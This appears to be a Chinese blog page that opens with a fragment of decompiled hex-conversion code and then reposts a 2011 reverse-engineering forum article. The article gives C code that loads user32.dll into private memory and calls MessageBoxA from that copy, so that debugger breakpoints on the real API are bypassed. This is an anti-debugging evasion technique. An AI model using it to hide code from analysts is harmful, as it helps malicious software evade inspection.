  unsigned __int16 v1; // ax@1
  int v2; // edx@1
  signed int v3; // ecx@1
  unsigned __int16 v4; // bx@1
  char v5; // ST10_1@1
  int v6; // eax@1
  char v7; // ST10_1@1
  char v8; // al@2

  sub_4014BF(String[a1]);
  sub_4014D5(v5);
  sub_401561(0, 0, &dword_403425, 0);
  v6 = __ROR__(dword_403425, 8);
  HIBYTE(v1) = v7 ^ BYTE1(v6);
  LOBYTE(v1) = v7 ^ v1;
  v2 = 0;
  v4 = v1;
  v3 = 4;
  do
  {
    v8 = v1 & 0xF;
    if ( v8 > 9 )
      v8 += 7;
    LOBYTE(v2) = v1 + 48;
    v2 = __ROR__(v2, 8);
    v4 >>= 4;
    LOBYTE(v1) = v4;
    --v3;
  }
  while ( v3 );
  return v1;
}

2011年9月22日星期四

[轉載]如何中斷Themida的MessageBox對話框


作 者: 鄧韜
時 間: 2011-09-19,14:46:07
鏈接: http://bbs.pediy.com/showthread.php?t=140298

原理:讀取系統DLL到分配​​的內存裡面去,然後定位到相關的API的代碼。
FARPROC GetApiAddr(BYTE *Base,DWORD Api)
參數一:我們分配的內存基址
參數二:函數地址減去模塊基址的差值
返回值:返回內存中得API的函數的地址
作用:對原來的系統API函數下斷點無效,因為我們已經吧全部系統DLL讀取到內存中定位到相關的代碼了,調用的是內存中得API函數


代碼:
#include <windows.h>
char Caption[]="Test";
char Text[]="MessageBoxA";
FARPROC  GetApiAddr(BYTE *Base,DWORD Api)
{
  DWORD VirtualSize;
  DWORD PhysicalAddr;
  DWORD RawSize;  
  FARPROC RET=NULL;
  PIMAGE_DOS_HEADER DosHeader=(PIMAGE_DOS_HEADER)Base;
  PIMAGE_NT_HEADERS NtHeader=(PIMAGE_NT_HEADERS)((DWORD)DosHeader+(DWORD)DosHeader->e_lfanew);
  PIMAGE_SECTION_HEADER SecHeader=(PIMAGE_SECTION_HEADER)((DWORD)NtHeader+sizeof(IMAGE_FILE_HEADER)+  
    NtHeader->FileHeader.SizeOfOptionalHeader+4);
  BYTE SecSum=NtHeader->FileHeader.NumberOfSections;
  while(SecSum)
  {
    PhysicalAddr=(DWORD)SecHeader->Misc.PhysicalAddress;
    VirtualSize=(DWORD)SecHeader->VirtualAddress;//>Misc.VirtualSize;
    PhysicalAddr+=VirtualSize;
    if(Api>=VirtualSize&&Api<=PhysicalAddr)
    {
      RawSize=SecHeader->PointerToRawData;
      RawSize-=VirtualSize;
      Base+=RawSize;
      Base+=Api;
    }
    SecHeader++;
    SecSum--;
  }
  RET=(FARPROC)Base;
  return RET;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
  DWORD dwRead;
  char SystemPath[MAX_PATH]={0};
  HMODULE hMod=GetModuleHandleA("USER32.DLL");
  if(!hMod)
    hMod=LoadLibraryA("USER32.DLL");
  GetSystemDirectoryA(SystemPath,MAX_PATH);
  lstrcat(SystemPath,"\\user32.dll");
  HANDLE Handle=CreateFileA(SystemPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  DWORD Size=GetFileSize(Handle,NULL);
  BYTE *Virtual=VirtualAlloc(NULL,Size,MEM_COMMIT,PAGE_READWRITE);
  VirtualLock(Virtual,Size);
  ReadFile(Handle,Virtual,Size,&dwRead,NULL);
  DWORD MeAddr=(DWORD)GetProcAddress(hMod,"MessageBoxA");
  MeAddr=MeAddr-(DWORD)hMod;
  DWORD Api=(DWORD)GetApiAddr(Virtual,MeAddr);
_asm{
    push 0
    lea eax,Caption
    push eax
    lea eax,Text
    push eax
    push 0
    call Api
  }
  return FALSE;
}